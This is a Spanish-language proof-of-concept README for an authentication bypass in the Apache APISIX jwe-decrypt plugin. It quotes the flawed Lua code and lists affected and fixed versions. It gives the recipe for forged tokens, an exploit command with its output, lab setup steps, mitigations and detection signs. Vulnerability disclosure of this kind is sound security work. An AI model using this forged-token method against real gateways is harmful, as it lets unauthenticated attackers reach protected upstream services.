PoC para CVE-2026-49230: Bypass de autenticación en Apache APISIX jwe-decrypt (validación faltante de etiqueta AES-GCM, CWE-354, CVSS 9.1)
jwe-decrypt en Apache APISIXPrueba de concepto para una omisión de autenticación en el plugin jwe-decrypt de Apache APISIX. El plugin descifra un token JWE y envía su texto plano al upstream, actuando como una puerta de autenticación — pero nunca valida la etiqueta de autenticación AES-GCM. Un token que simplemente lleva un kid de consumidor válido es aceptado sin importar lo falso que sea su texto cifrado y su etiqueta, por lo que un atacante que conozca cualquier clave de consumidor — que viaja en texto plano en el encabezado de cada token legítimo — pasa la puerta sin conocer el secreto AES.
| CVE | CVE-2026-49230 |
| Producto | Apache APISIX (plugin jwe-decrypt) |
| Afectado | 3.8.0 – 3.16.0 |
| Corregido | 3.17.0 |
| Clase | CWE-354 — Validación incorrecta del valor de comprobación de integridad |
| CVSS 3.1 | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Autenticación | Sin autenticación (necesita un kid de consumidor válido, no el secreto) |
| Publicado | 2026-06-19 |
| Estado | CONFIRMADO — reproducido de extremo a extremo en 3.16.0; rechazado en 3.17.0 |
apisix/plugins/jwe-decrypt.lua (tag 3.16.0):
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- returns ONE value
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err is ALWAYS nil -> dead guard
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- request passes
end
aes:decrypt() devuelve nil cuando la etiqueta de autenticación GCM no coincide, pero ese valor de retorno se descarta y el llamador inspecciona un err inexistente, que siempre es nil. Por lo tanto, la comprobación de integridad nunca se aplica: cualquier JWE con un kid resoluble se autentica. El secreto AES — lo único que un atacante no debería tener — nunca se necesita realmente.
La corrección en 3.17.0 propaga el error (return decrypted, err) y cambia la guarda a if not plaintext then return 400. La misma corrección también elimina la API pública de acuñación de tokens GET /apisix/plugin/jwe/encrypt del plugin.
Consulte ANALYSIS.md para obtener un recorrido completo a nivel de código.
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
[*] consumer kid : alice-key (NO AES secret used)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
El token falsificado es base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag. Solo importa el encabezado (con un kid válido); todo lo demás es basura elegida por el atacante.
cd lab
./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # same test rejects on the patched build
./teardown.sh
Este entorno no tiene puente Docker, por lo que el laboratorio usa --network host (etcd en :2379, plano de datos de APISIX :9080, administración :9180, backend :8080).
| Solicitud | 3.16.0 (vulnerable) | 3.17.0 (parcheado) |
|---|---|---|
| sin token | 403 token JWE faltante | — |
| token malformado (<5 partes) | 400 token JWE inválido | — |
kid inválido + criptografía basura | 400 kid inválido | — |
kid válido + criptografía basura | 200 upstream alcanzado | 400 fallo al descifrar |
Cada control excepto la comprobación de integridad GCM se aplica, y el mismo token falsificado pasa de 200 a 400 a través del límite de la corrección — la omisión es específicamente la validación de integridad faltante, no una ruta mal configurada. Transcripción completa en EVIDENCE.txt.
Cualquier upstream que confíe en la puerta jwe-decrypt de APISIX para la autenticación puede ser alcanzado por un atacante no autenticado que posea un solo kid de consumidor válido. Debido a que un kid válido se expone en texto plano dentro del encabezado JWE de cada token emitido legítimamente, un token capturado o filtrado — o una clave de consumidor adivinable — es suficiente para falsificar tokens aceptados ilimitados y eludir el límite de autenticación de la puerta de enlace.
jwe-decrypt como el único control de autenticación; superponga un plugin de autenticación independiente (por ejemplo, key-auth/jwt-auth) o una verificación upstream que valide la identidad reenviada.Las solicitudes que se autentican a través de jwe-decrypt pero reenvían un encabezado de identidad vacío/ausente al upstream (el descifrado produjo silenciosamente nil) son una señal fuerte. Esté atento a solicitudes Authorization: Bearer <jwe> que pasan la puerta de enlace mientras que el upstream no recibe un encabezado reenviado utilizable.
Investigación y PoC por Caio Fabrício (@BiiTts).
MIT — consulte LICENSE.